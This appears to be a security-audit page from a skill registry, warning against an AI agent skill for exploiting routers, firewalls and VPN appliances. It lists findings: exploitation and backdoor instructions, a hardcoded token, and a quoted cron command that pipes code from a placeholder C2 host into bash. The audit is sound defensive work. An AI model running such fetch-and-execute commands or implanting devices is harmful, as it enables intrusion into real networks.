edge-device-exploitation
Edge device exploitation — routers, firewalls, VPN appliances (Cisco IOS XE, Fortinet, Ivanti, Palo Alto). Covers CVE exploitation chains, post-exploitation on network devices, config extraction, and implant deployment on perimeter infrastructure.
64
77%
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Critical
Do not install without reviewing
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tessl review fix ./packages/decepticon/decepticon/skills/standard/exploit/edge-device-exploitation/SKILL.mdSecurity
4 findings: 1 critical severity, 2 high severity, 1 medium severity. Installing this skill is not recommended: please review these findings carefully if you do intend to do so.
E006: Malicious code pattern detected in skill scripts.
What this means
Detected high-risk code patterns in the skill content — including its prompts, tool definitions, and resources — such as data exfiltration, backdoors, remote code execution, credential theft, system compromise, supply chain attacks, and obfuscation techniques.
Why it was flagged
This document is an explicit offensive playbook providing step‑by‑step exploitation, remote code execution, credential harvesting, data exfiltration, backdoor implantation, and persistence instructions — i.e., deliberate malicious tooling and workflows.
W007: Insecure credential handling detected in skill instructions.
What this means
The skill handles credentials insecurely by requiring the agent to include secret values verbatim in its generated output. This exposes credentials in the agent’s context and conversation history, creating a risk of data exfiltration.
Why it was flagged
The prompt includes literal API tokens and many placeholders for keys, passwords, and tokens and shows them embedded verbatim in curl/ssh/cli commands (e.g., Authorization headers, URL query params, sshpass), which requires the LLM to handle and output secret values directly.
W008: Secret detected in skill content (API keys, tokens, passwords).
What this means
Detected sensitive credentials directly embedded within the skill content, such as API keys, access tokens, private keys, or service-specific secrets. Secrets should never be hardcoded in plain text within skill instructions.
Why it was flagged
I scanned the document for literal high-entropy values that could be usable credentials. The curl example at SKILL.md:79 contains an Authorization header with the literal token "0ff4fbf0ecffa77ce8d3852a4571" — this is a random-looking string (high entropy), not a placeholder like "<API_KEY>" or "YOUR_API_KEY", and could be a real bearer/token value, so I flag it. All other apparent credentials in the file are placeholders (e.g., <SHODAN_KEY>, <API_KEY>, <IMPLANT_PASS>, <PASSWORD>, <COMMUNITY>, <TYPE7_HASH>, <RW_COMMUNITY>, <API_TOKEN>) or low-entropy/example values (e.g., usernames like "support_tech") and are ignored per the rules. The base64 string PD9waHAg... on line 111 is encoded payload/code, not an access credential, so it is ignored.
W013: Attempt to modify system services in skill instructions.
What this means
The skill prompts the agent to compromise the security or integrity of the user’s machine by modifying system-level services or configurations, such as obtaining elevated privileges, altering startup scripts, or changing system-wide settings.
Why it was flagged
This skill explicitly instructs creating privileged implant/backdoor accounts and modifying device system files/cron (persistent implants), which are actions that change system state and enable unauthorized access/persistence.
Low
Low-risk findings.
1 low severity finding. Worth noting, but not necessarily harmful.
W012: Unverifiable external dependency detected (runtime URL that controls agent).
What this means
The skill fetches instructions or code from an external URL at runtime, and the fetched content directly controls the agent’s prompts or executes code. This dynamic dependency allows the external source to modify the agent’s behavior without any changes to the skill itself.
Why it was flagged
The skill includes a runtime command that installs a cron job which runs curl -sk https://<C2>/beacon|bash (SKILL.md:245), which fetches remote code and pipes it to bash to execute, meeting the criteria for a high-risk external runtime dependency.
- Repository
- PurpleAILAB/Decepticon
- Commit
0cf691e
- Audited
- Security analysis
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